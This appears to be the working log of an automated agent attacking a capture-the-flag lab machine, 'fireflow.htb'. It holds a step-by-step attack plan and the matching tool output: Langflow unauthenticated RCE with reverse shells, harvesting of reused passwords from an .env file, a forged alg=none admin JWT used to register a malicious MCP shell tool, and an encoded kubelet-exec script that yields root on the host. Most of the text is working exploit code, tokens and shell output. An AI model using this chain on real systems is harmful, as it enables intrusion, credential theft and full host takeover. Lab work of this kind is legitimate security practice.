{
“file_path”: “/out/solve_out_20260722_210707/attack_plan.md”,
“content”: ”# Fireflow Attack Plan\n\nTarget: 10.129.244.214 (live, re-derive all creds/tokens/flags)\n\n## Recon\n1. nmap full port scan -> expect 22 (ssh), 80/443 (nginx, redirects to https://fireflow.htb)\n2. Add /etc/hosts (on jump box, via curl —resolve or local hosts) for fireflow.htb and flow.fireflow.htb\n3. Browse fireflow.htb -> find “Open Agent” link -> vhost flow.fireflow.htb -> find leaked flow_id in /playground/<flow_id> URL\n\n## Foothold (user: www-data)\n4. Exploit CVE-2026-33017 (Langflow unauthenticated RCE via /api/v1/build_public_tmp/<flow_id>/flow) - POST malicious genericNode component with python code -> reverse shell to LHOST:9001\n5. Stabilize shell (script /dev/null -c bash; ctrl-z; stty raw -echo; fg)\n6. Read /etc/langflow/.env -> LANGFLOW_SUPERUSER_PASSWORD (reused password)\n7. Check /etc/passwd for user “nightfall”\n\n## User (nightfall) + user.txt\n8. SSH nightfall@fireflow.htb using password from .env (password reuse)\n9. Read /home/nightfall/user.txt -> USER FLAG\n10. cat ~/.mcp/config.json -> leaks MCP server URL (http://:30080), user langflow-bot, password\n\n## MCP JWT forge -> shell as mcp\n11. GET /api/v1/version -> confirm supported_algorithms includes “none”\n12. POST /api/v1/auth with langflow-bot creds -> get user JWT (role=user)\n13. Confirm POST /api/v1/tools with user JWT fails (Admin role required)\n14. Craft alg=none JWT: header {“alg”:“none”,“typ”:“JWT”}, payload {“sub”:“attacker”,“role”:“admin”}, token = b64(header).b64(payload). (empty signature)\n15. POST /api/v1/tools with admin JWT -> register malicious “shell” tool (python reverse shell code) via inputSchema/code\n16. Set up nc listener on LHOST\n17. POST /mcp JSON-RPC tools/call name=shell -> triggers reverse shell as user “mcp” (k8s pod)\n18. Stabilize shell\n\n## Privesc -> root.txt (K8s nodes/proxy abuse)\n19. Confirm running in k8s pod (serviceaccount token, KUBERNETES_SERVICE_HOST env)\n20. Use token to call /apis/authorization.k8s.io/v1/selfsubjectrulesreviews -> confirm get nodes/proxy permission\n21. Call https://:10250/pods (kubelet API) with SA token -> find privileged pod with hostPath mounting ”/” -> monitoring/prometheus-prometheus-node-exporter-* pod, container node-exporter\n22. Use kubelet exec-via-websocket (kube_exec.py script using SA token) against wss://:10250/exec///?command=… to run arbitrary commands AS ROOT ON HOST (nodes/proxy abuse, no further auth)\n23. cat /host/root/root/root.txt (path may vary - find hostPath mount, likely /host or similar) -> ROOT FLAG\n\n## Notes\n- All exploitation via jump box (, SSH ControlPath persistent)\n- flow_id, passwords, JWT secrets, node IP:port, pod names are ALL per-spawn - must discover live\n- CVE-2026-33017: Langflow unauthenticated RCE via generic code-execution component posted to build_public_tmp endpoint\n”
}
Exit code 1
zsh:1: no matches found: ^[0-9]
PORTS=
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 17:07 -0400
Error #486: Your port specifications are illegal. Example of proper form: “-100,200-1024,T:3000-4000,U:60000-”
QUITTING!
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 17:07 -0400
Nmap scan report for 10.129.244.214
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp closed http
443/tcp open ssl/http nginx
|_http-title: Did not follow redirect to https://fireflow.htb/
|ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
| http/0.9
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
| Not valid before: 2026-04-14T16:35:31
|_Not valid after: 2028-07-17T16:35:31
30080/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds
retrying local 0.0.0.0:9001 : Address already in use
retrying local 0.0.0.0:9001 : Address already in use
retrying local 0.0.0.0:9001 : Address already in use
retrying local 0.0.0.0:9001 : Address already in use
Can’t grab 0.0.0.0:9001 with bind
Command did not complete within its 60s timeout and was moved to the background (ID: bgy3yygca). Output is being written to: You will be notified when it completes. To check interim output, use Read on that file path.
listening on [any] 9877 …
connect to [10.10.15.180] from (UNKNOWN) [10.129.244.214] 37044
bash: cannot set terminal process group (1524): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$
Command running in background with ID: b7jez2d50. Output is being written to: You will be notified when it completes. To check interim output, use Read on that file path.
listening on [any] 9878 …
connect to [10.10.15.180] from (UNKNOWN) [10.129.244.214] 36592
bash: cannot set terminal process group (1524): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$
Command did not complete within its 120s timeout and was moved to the background (ID: b15z9u6uh). Output is being written to: You will be notified when it completes. To check interim output, use Read on that file path.
USER_JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps
{“sub”:“langflow-bot”,“role”:“user”}
ADMIN_JWT=eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.
--- test admin tool listing ---
[{“name”:“ping_host”,“description”:“Ping a target host 3 times and return ICMP output.”},{“name”:“get_metrics_summary”,“description”:“Return a summary of system memory and load average from /proc.”},{“name”:“list_running_tasks”,“description”:“List the top 20 running processes sorted by CPU usage.”}]
$ python3 -c “import base64; open(‘/tmp/kube_exec.py’,‘wb’).write(base64.b64decode(‘IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgYXN5bmNpbywgc3NsLCBzeXMsIHdlYnNvY2tldHMKCk5PREUgICAgID0gIjEwLjEyOS4yNDQuMjE0IgpORV9OUyAgICA9ICJtb25pdG9yaW5nIgpORV9QT0QgICA9ICJwcm9tZXRoZXVzLXByb21ldGhldXMtbm9kZS1leHBvcnRlci1ubW50cSIKTkVfQ05UICAgPSAibm9kZS1leHBvcnRlciIKVE9LRU4gICAgPSBvcGVuKCcvdmFyL3J1bi9zZWNyZXRzL2t1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvdG9rZW4nKS5yZWFkKCkuc3RyaXAoKQpDT01NQU5EICA9IHN5cy5hcmd2WzFdIGlmIGxlbihzeXMuYXJndikgPiAxIGVsc2UgJ2lkJwoKYXN5bmMgZGVmIHdzX2V4ZWMoY21kX3BhcnRzKToKICAgIGN0eCA9IHNzbC5jcmVhdGVfZGVmYXVsdF9jb250ZXh0KCkKICAgIGN0eC5jaGVja19ob3N0bmFtZSA9IEZhbHNlCiAgICBjdHgudmVyaWZ5X21vZGUgICAgPSBzc2wuQ0VSVF9OT05FCgogICAgYXJncyA9ICImIi5qb2luKGYiY29tbWFuZD17cGFydH0iIGZvciBwYXJ0IGluIGNtZF9wYXJ0cykKICAgIHVybCAgPSAoZiJ3c3M6Ly97Tk9ERX06MTAyNTAvZXhlYy97TkVfTlN9L3tORV9QT0R9L3tORV9DTlR9IgogICAgICAgICAgICBmIj9vdXRwdXQ9MSZlcnJvcj0xJnthcmdzfSIpCgogICAgYXN5bmMgd2l0aCB3ZWJzb2NrZXRzLmNvbm5lY3QoCiAgICAgICAgdXJsLCBzc2w9Y3R4LAogICAgICAgIGFkZGl0aW9uYWxfaGVhZGVycz17IkF1dGhvcml6YXRpb24iOiBmIkJlYXJlciB7VE9LRU59In0sCiAgICAgICAgc3VicHJvdG9jb2xzPVsidjQuY2hhbm5lbC5rOHMuaW8iXSwKICAgICAgICBvcGVuX3RpbWVvdXQ9MTAKICAgICkgYXMgd3M6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgZGF0YSA9IGF3YWl0IGFzeW5jaW8ud2FpdF9mb3Iod3MucmVjdigpLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpZiBpc2luc3RhbmNlKGRhdGEsIGJ5dGVzKSBhbmQgbGVuKGRhdGEpID4gMToKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGRhdGFbMTpdLmRlY29kZSgidXRmLTgiLCBlcnJvcnM9InJlcGxhY2UiKSkKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LmZsdXNoKCkKICAgICAgICBleGNlcHQgKGFzeW5jaW8uVGltZW91dEVycm9yLCB3ZWJzb2NrZXRzLmV4Y2VwdGlvbnMuQ29ubmVjdGlvbkNsb3NlZCk6CiAgICAgICAgICAgIHBhc3MKCmFzeW5jaW8ucnVuKHdzX2V4ZWMoQ09NTUFORC5zcGxpdCgpKSkK’))”
$ python3 /tmp/kube_exec.py id
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{“metadata”:{},“status”:“Success”}$ python3 /tmp/kube_exec.py ls_/host
{“metadata”:{},“status”:“Failure”,“message”:“Internal error occurred: error executing command in container: failed to exec in container: failed to start exec “4bc6b17064536498c4c4075bb260ff83b11a58aca55d3d1f7a2771ece90d6440”: OCI runtime exec failed: exec failed: unable to start container process: exec: “ls_/host”: stat ls_/host: no such file or directory”,“reason”:“InternalError”,“details”:{“causes”:[{“message”:“error executing command in container: failed to exec in container: failed to start exec “4bc6b17064536498c4c4075bb260ff83b11a58aca55d3d1f7a2771ece90d6440”: OCI runtime exec failed: exec failed: unable to start container process: exec: “ls_/host”: stat ls_/host: no such file or directory”}]},“code”:500}$ python3 /tmp/kube_exec.py find_/host_-maxdepth_3_-iname_root.txt
{“metadata”:{},“status”:“Failure”,“message”:“Internal error occurred: error executing command in container: failed to exec in container: failed to start exec “97b17fed9acf7eed8890fd66c111579be2bc9c72102106ca833d72a21e3f490c”: OCI runtime exec failed: exec failed: unable to start container process: exec: “find_/host_-maxdepth_3_-iname_root.txt”: stat find_/host_-maxdepth_3_-iname_root.txt: no such file or directory”,“reason”:“InternalError”,“details”:{“causes”:[{“message”:“error executing command in container: failed to exec in container: failed to start exec “97b17fed9acf7eed8890fd66c111579be2bc9c72102106ca833d72a21e3f490c”: OCI runtime exec failed: exec failed: unable to start container process: exec: “find_/host_-maxdepth_3_-iname_root.txt”: stat find_/host_-maxdepth_3_-iname_root.txt: no such file or directory”}]},“code”:500}$